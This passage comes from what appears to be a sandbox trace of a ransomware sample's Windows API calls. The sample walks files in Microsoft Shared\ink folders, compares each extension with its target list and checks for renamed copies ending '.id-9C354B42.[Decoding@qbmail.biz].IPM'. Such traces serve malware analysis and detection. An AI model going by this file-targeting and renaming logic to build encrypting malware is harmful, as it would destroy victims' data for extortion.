4 [0078.458] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString=".xlsx") returned 5 [0078.458] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0078.458] lstrlenW (lpString=".ppt") returned 4 [0078.458] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.458] lstrlenW (lpString=".zip") returned 4 [0078.458] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString=".rar") returned 4 [0078.458] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0078.458] lstrlenW (lpString=".bz2") returned 4 [0078.458] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0078.459] lstrlenW (lpString=".7z") returned 3 [0078.459] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0078.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.459] lstrlenW (lpString=".dbf") returned 4 [0078.459] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0078.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.459] lstrlenW (lpString=".1cd") returned 4 [0078.459] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0078.459] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0078.459] lstrlenW (lpString=".jpg") returned 4 [0078.459] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0078.459] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.460] lstrlenW (lpString="base_heb.xml") returned 12 [0078.460] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.817] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=738) returned 1 [0078.817] CloseHandle (hObject=0x1bc) returned 1 [0078.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0078.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.818] lstrlenW (lpString=".doc") returned 4 [0078.818] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.818] lstrlenW (lpString=".docx") returned 5 [0078.818] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0078.818] lstrlenW (lpString=".pdf") returned 4 [0078.818] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.818] lstrlenW (lpString=".xls") returned 4 [0078.818] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.818] lstrlenW (lpString=".xlsx") returned 5 [0078.818] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0078.818] lstrlenW (lpString=".ppt") returned 4 [0078.819] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.819] lstrlenW (lpString=".zip") returned 4 [0078.819] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.819] lstrlenW (lpString=".rar") returned 4 [0078.819] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.819] lstrlenW (lpString=".bz2") returned 4 [0078.819] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.819] lstrlenW (lpString=".7z") returned 3 [0078.819] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.819] lstrlenW (lpString=".dbf") returned 4 [0078.819] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.819] lstrlenW (lpString=".1cd") returned 4 [0078.819] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.819] lstrlenW (lpString=".jpg") returned 4 [0078.819] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.820] lstrlenW (lpString=".doc") returned 4 [0078.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.820] lstrlenW (lpString=".docx") returned 5 [0078.820] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0078.820] lstrlenW (lpString=".pdf") returned 4 [0078.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.820] lstrlenW (lpString=".xls") returned 4 [0078.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.820] lstrlenW (lpString=".xlsx") returned 5 [0078.820] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0078.820] lstrlenW (lpString=".ppt") returned 4 [0078.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.820] lstrlenW (lpString=".zip") returned 4 [0078.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.820] lstrlenW (lpString=".rar") returned 4 [0078.821] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.821] lstrlenW (lpString=".bz2") returned 4 [0078.821] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.821] lstrlenW (lpString=".7z") returned 3 [0078.821] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.821] lstrlenW (lpString=".dbf") returned 4 [0078.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.821] lstrlenW (lpString=".1cd") returned 4 [0078.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0078.821] lstrlenW (lpString=".jpg") returned 4 [0078.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.821] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.821] lstrlenW (lpString="oskmenu.xml") returned 11 [0078.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0078.822] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=215) returned 1 [0078.822] CloseHandle (hObject=0x1bc) returned 1 [0078.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0078.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0078.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0078.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.822] lstrlenW (lpString=".doc") returned 4 [0078.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.822] lstrlenW (lpString=".docx") returned 5 [0078.822] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0078.823] lstrlenW (lpString=".pdf") returned 4 [0078.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString=".xls") returned 4 [0078.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString=".xlsx") returned 5 [0078.823] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0078.823] lstrlenW (lpString=".ppt") returned 4 [0078.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.823] lstrlenW (lpString=".zip") returned 4 [0078.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.823] lstrlenW (lpString=".rar") returned 4 [0078.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString=".bz2") returned 4 [0078.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString=".7z") returned 3 [0078.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.823] lstrlenW (lpString=".dbf") returned 4 [0078.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.823] lstrlenW (lpString=".1cd") returned 4 [0078.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.824] lstrlenW (lpString=".jpg") returned 4 [0078.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.824] lstrlenW (lpString=".doc") returned 4 [0078.824] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString=".docx") returned 5 [0078.824] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0078.824] lstrlenW (lpString=".pdf") returned 4 [0078.824] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString=".xls") returned 4 [0078.824] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString=".xlsx") returned 5 [0078.824] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0078.824] lstrlenW (lpString=".ppt") returned 4 [0078.824] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.824] lstrlenW (lpString=".zip") returned 4 [0078.824] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0078.824] lstrlenW (lpString=".rar") returned 4 [0078.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString=".bz2") returned 4 [0078.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0078.824] lstrlenW (lpString=".7z") returned 3 [0078.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0078.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.825] lstrlenW (lpString=".dbf") returned 4 [0078.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0078.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.825] lstrlenW (lpString=".1cd") returned 4 [0078.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0078.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 76 [0078.825] lstrlenW (lpString=".jpg") returned 4 [0078.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0078.825] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0078.825] lstrlenW (lpString="osknumpadbase.xml") returned 17 [0078.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.179] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=1437) returned 1 [0079.179] CloseHandle (hObject=0x1d8) returned 1 [0079.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0079.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.179] lstrlenW (lpString=".doc") returned 4 [0079.180] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString=".docx") returned 5 [0079.180] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.180] lstrlenW (lpString=".pdf") returned 4 [0079.180] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString=".xls") returned 4 [0079.180] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString=".xlsx") returned 5 [0079.180] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.180] lstrlenW (lpString=".ppt") returned 4 [0079.180] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.180] lstrlenW (lpString=".zip") returned 4 [0079.180] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.180] lstrlenW (lpString=".rar") returned 4 [0079.180] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString=".bz2") returned 4 [0079.180] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.180] lstrlenW (lpString=".7z") returned 3 [0079.181] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.181] lstrlenW (lpString=".dbf") returned 4 [0079.181] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.181] lstrlenW (lpString=".1cd") returned 4 [0079.181] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.181] lstrlenW (lpString=".jpg") returned 4 [0079.181] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.181] lstrlenW (lpString=".doc") returned 4 [0079.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.181] lstrlenW (lpString=".docx") returned 5 [0079.181] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.182] lstrlenW (lpString=".pdf") returned 4 [0079.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.182] lstrlenW (lpString=".xls") returned 4 [0079.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.182] lstrlenW (lpString=".xlsx") returned 5 [0079.182] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.182] lstrlenW (lpString=".ppt") returned 4 [0079.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.182] lstrlenW (lpString=".zip") returned 4 [0079.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.182] lstrlenW (lpString=".rar") returned 4 [0079.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.182] lstrlenW (lpString=".bz2") returned 4 [0079.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.182] lstrlenW (lpString=".7z") returned 3 [0079.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.183] lstrlenW (lpString=".dbf") returned 4 [0079.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.183] lstrlenW (lpString=".1cd") returned 4 [0079.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0079.183] lstrlenW (lpString=".jpg") returned 4 [0079.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.183] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0079.183] lstrlenW (lpString="ea-sym.xml") returned 10 [0079.183] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.242] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=749) returned 1 [0079.242] CloseHandle (hObject=0x1d8) returned 1 [0079.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0079.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.243] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.243] lstrlenW (lpString=".doc") returned 4 [0079.243] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.243] lstrlenW (lpString=".docx") returned 5 [0079.243] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0079.243] lstrlenW (lpString=".pdf") returned 4 [0079.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.243] lstrlenW (lpString=".xls") returned 4 [0079.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.243] lstrlenW (lpString=".xlsx") returned 5 [0079.243] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0079.243] lstrlenW (lpString=".ppt") returned 4 [0079.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.244] lstrlenW (lpString=".zip") returned 4 [0079.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.244] lstrlenW (lpString=".rar") returned 4 [0079.244] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.244] lstrlenW (lpString=".bz2") returned 4 [0079.244] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.244] lstrlenW (lpString=".7z") returned 3 [0079.244] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.244] lstrlenW (lpString=".dbf") returned 4 [0079.244] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.244] lstrlenW (lpString=".1cd") returned 4 [0079.244] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.244] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.244] lstrlenW (lpString=".jpg") returned 4 [0079.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.245] lstrlenW (lpString=".doc") returned 4 [0079.245] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString=".docx") returned 5 [0079.245] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0079.245] lstrlenW (lpString=".pdf") returned 4 [0079.245] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString=".xls") returned 4 [0079.245] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString=".xlsx") returned 5 [0079.245] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0079.245] lstrlenW (lpString=".ppt") returned 4 [0079.245] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.245] lstrlenW (lpString=".zip") returned 4 [0079.245] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.245] lstrlenW (lpString=".rar") returned 4 [0079.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.245] lstrlenW (lpString=".bz2") returned 4 [0079.246] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.246] lstrlenW (lpString=".7z") returned 3 [0079.246] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.246] lstrlenW (lpString=".dbf") returned 4 [0079.246] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.246] lstrlenW (lpString=".1cd") returned 4 [0079.246] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.246] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0079.246] lstrlenW (lpString=".jpg") returned 4 [0079.246] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.246] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0079.247] lstrlenW (lpString="webbase.xml") returned 11 [0079.248] 